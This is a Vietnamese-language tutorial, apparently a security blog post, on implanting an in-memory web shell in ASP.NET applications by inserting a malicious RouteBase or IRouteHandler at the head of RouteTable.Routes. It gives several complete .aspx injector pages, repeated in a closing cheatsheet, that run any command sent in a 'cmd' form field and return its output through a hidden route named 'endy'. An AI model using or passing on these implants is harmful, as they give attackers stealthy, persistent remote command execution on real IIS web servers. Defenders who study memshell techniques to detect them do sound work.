Ở loại memshell này ta sẽ không bị phụ thuộc vào namespace System.Web.Mvc như Filter mà nó sẽ độc lập, cụ thể như sau:
Trong pipeline ASP.NET cung cấp cho ta 1 module handle việc Routing riêng so với module layer cao hơn (ASP.NET MVC)
Ta sẽ thấy ASP.NET Routing sẽ nằm giữa ASP.NET và ASP.NET MVC/WEBAPI, điều này khiến nó không bị phụ thuộc vào loại framework bậc cao hơn ở trên. Do đó khi triển khai memshell với Route ta sẽ không cần quan tâm Web đang sử dụng framework nào (MVC, WEBAPI,...)
Module này sẽ nhận event từ .NET Framework để khởi tạo IHttpHandler và truyền cho layer cao hơn để implement
Ta sẽ tìm cách để inject memshell vào Routing core để việc triển khai flexiable nhất có thể, tránh đụng vào layer cao hơn.
1. Phân tích
Nhìn lại vào file Global.asax.cs ta sẽ thấy phần khai báo Route nằm sau phần khai báo Filters
Nội dung file RouteConfig
Ta sẽ thấy Route được lưu trữ dưới dạng RouteTable, trong RouteTable sẽ là RouteCollection. RouteCollection là một Collection lưu trữ các RouteBase. Mỗi RouteBase là abtract class đại diện cho 1 Route.
Khi nhảy vào routes.MapRoute ta sẽ đến được RouteCollectionExtensions của name space System.Web.Mvc. Class này chính là 1 phần của việc implement thêm kết quả của ASP.NET Routing module mình đã nói ở trên
Method này cũng đơn giản là add thêm RouteBase vào RouteCollection, do đó ta sẽ không cần dùng đến method này mà tương tác trực tiếp với RouteCollection luôn
Lưu ý vì RouteTable có chứa RouteCollection là một public class nên ta mới có thể tương tác trực tiếp như vậy không giống như trong Java khi hầu như mọi thứ đều private
Từ đây ta sẽ có nhiều cách để triển khai memshell tùy thuộc vào việc ta implement RouteBase như thế nào
2. Triển khai
A. Tự implement RouteBase
Cách đầu tiên là ta sẽ tự implement lại RouteBase. Vì đây là 1 abtract class với 2 method là GetRouteData và GetVirtualPath nên khi implement ta sẽ override lại 2 method này
Công dụng của 2 method
Method
Công dụng
GetRouteData(HttpContextBase)
Return Routing information nếu request match với route
Return object chứa generated URL mà match với route (phiên bản ngược lại của GetRouteData)
Ví dụ implement
<script runat="server">
public class MyRouteBase : RouteBase
{
public override RouteData GetRouteData(HttpContextBase httpContext)
{
Console.WriteLine("GetRouteData called");
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
Console.WriteLine("GetVirtualPath called");
return null;
}
}
</script>
Khi chạy code ta sẽ thấy được thứ tự gọi của các method này so với Controller
GetRouteData sẽ được gọi trước tiên rồi đến Controller và cuối cùng là GetVirtualPath. Khi debug ta sẽ thấy với mỗi request thì method GetRouteData và GetVirtualPath của từng RouteBase đều được gọi
Hai method đều nhận vào encapsulates object của curent request, do đó ta có thể RCE từ encapsulates object này.
Có một điểm lưu ý là GetVirtualPath được gọi đến 4 lần, nguyên nhân vì sao thì mình chưa debug ra được. Do đó để tránh command thực thi 4 lần nên mình sẽ ưu tiên inject memshell vào GetRouteData.
Và cuối cùng còn 1 vấn đề nữa là priority của các RouteBase, ta sẽ thấy code sẽ chạy foreach từng RouteBase trong RouteCollections, do đó ta chỉ cần đơn giản insert malicous RouteBase của ta vào đầu collection là được, ví dụ:
routeCollection.Insert(0, new MyRouteBase());
Tóm lại ta sẽ có đoạn code sau để triển khai
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>
<script runat="server">
public class MyRouteBase : RouteBase
{
public override RouteData GetRouteData(HttpContextBase httpContext)
{
String cmd = httpContext.Request.Form["cmd"];
if (cmd != null)
{
HttpResponseBase response = httpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
return null;
}
}
</script>
<%
RouteCollection routeCollection = RouteTable.Routes;
routeCollection.Insert(0, new MyRouteBase());
RouteConfig.RegisterRoutes(routeCollection);
%>
Khi inject ta sẽ có lỗi như thế này
Nhưng kết quả thì vẫn inject thành công
B. Dùng System.Web.Routing.Route
Cách này ta sẽ dùng implement RouteBase có sẵn của namespace System.Web.Routing để triển khai
Ví dụ ta có public class Route implement RouteBase như sau:
Route nhận vào IRouteHandler khi khởi tạo, mà IRouteHandler là một interface cho phép ta overide GetHttpHandler để return handler cho HTTP request
Method này cũng nhận vào encapsulates object của curent request, do đó ta có thể RCE từ encapsulates object này
Tóm lại ta sẽ có code inject như sau
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>
<script runat="server">
public class MyRoute : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
String cmd = requestContext.HttpContext.Request.Form["cmd"];
if (cmd != null)
{
HttpResponseBase response = requestContext.HttpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
return null;
}
}
</script>
<%
RouteCollection routeCollection = RouteTable.Routes;
Route MyRoute = new Route("endy", new MyRoute());
routeCollection.Insert(0, MyRoute);
RouteConfig.RegisterRoutes(routeCollection);
%>
Khi inject thành công và truy cập shell ta sẽ có lỗi như sau
Nhưng kết quả thì calc vẫn popup. Muốn fix lỗi trên để có response thì ta sẽ cho GetHttpHandler return implement của interface IHttpHandler.
Nội dung interface IHttpHandler
Khi implement lại interface này thì ta override method ProcessRequest để có thể process HTTP request. Tóm lại ta sẽ có code inject sau
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>
<script runat="server">
public class MyRoute : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
return new MyHandler(requestContext);
}
}
public class MyHandler : IHttpHandler
{
public RequestContext RequestContext { get; private set; }
public MyHandler(RequestContext context)
{
this.RequestContext = context;
}
public void ProcessRequest(HttpContext context)
{
String cmd = context.Request.Form["cmd"];
if (cmd != null)
{
HttpResponse response = context.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
}
public bool IsReusable { get; }
}
</script>
<%
RouteCollection routeCollection = RouteTable.Routes;
Route MyRoute = new Route("endy", new MyRoute());
routeCollection.Insert(0, MyRoute);
RouteConfig.RegisterRoutes(routeCollection);
%>
Kết quả ta sẽ có response ngon lành khi truy cập path shell
Tóm lại cách này có ưu điểm hơn cách tự implement là có thể khai báo được endpoint memshell khá là tiện lợi (tuy nhiên thì trong ASP.NET không hỗ trợ khai báo endpoint kiểu /* nên ta sẽ khai báo 1 endpoint ẩn nào đó)
3. Cheatsheet
Tóm lại kiểu này không phụ thuộc vào System.Web.Mvc và có các cách triển khai như sau:
Triển khai bằng cách tự implement RouteBase
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>
<script runat="server">
public class MyRouteBase : RouteBase
{
public override RouteData GetRouteData(HttpContextBase httpContext)
{
String cmd = httpContext.Request.Form["cmd"];
if (cmd != null)
{
HttpResponseBase response = httpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
return null;
}
public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
{
return null;
}
}
</script>
<%
RouteCollection routeCollection = RouteTable.Routes;
routeCollection.Insert(0, new MyRouteBase());
RouteConfig.RegisterRoutes(routeCollection);
%>
Triển khai bằng System.Web.Routing.Route
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="NetFwMVC" %>
<script runat="server">
public class MyRoute : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext requestContext)
{
return new MyHandler(requestContext);
}
}
public class MyHandler : IHttpHandler
{
public RequestContext RequestContext { get; private set; }
public MyHandler(RequestContext context)
{
this.RequestContext = context;
}
public void ProcessRequest(HttpContext context)
{
String cmd = context.Request.Form["cmd"];
if (cmd != null)
{
HttpResponse response = context.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
}
public bool IsReusable { get; }
}
</script>
<%
RouteCollection routeCollection = RouteTable.Routes;
Route MyRoute = new Route("endy", new MyRoute());
routeCollection.Insert(0, MyRoute);
RouteConfig.RegisterRoutes(routeCollection);
%>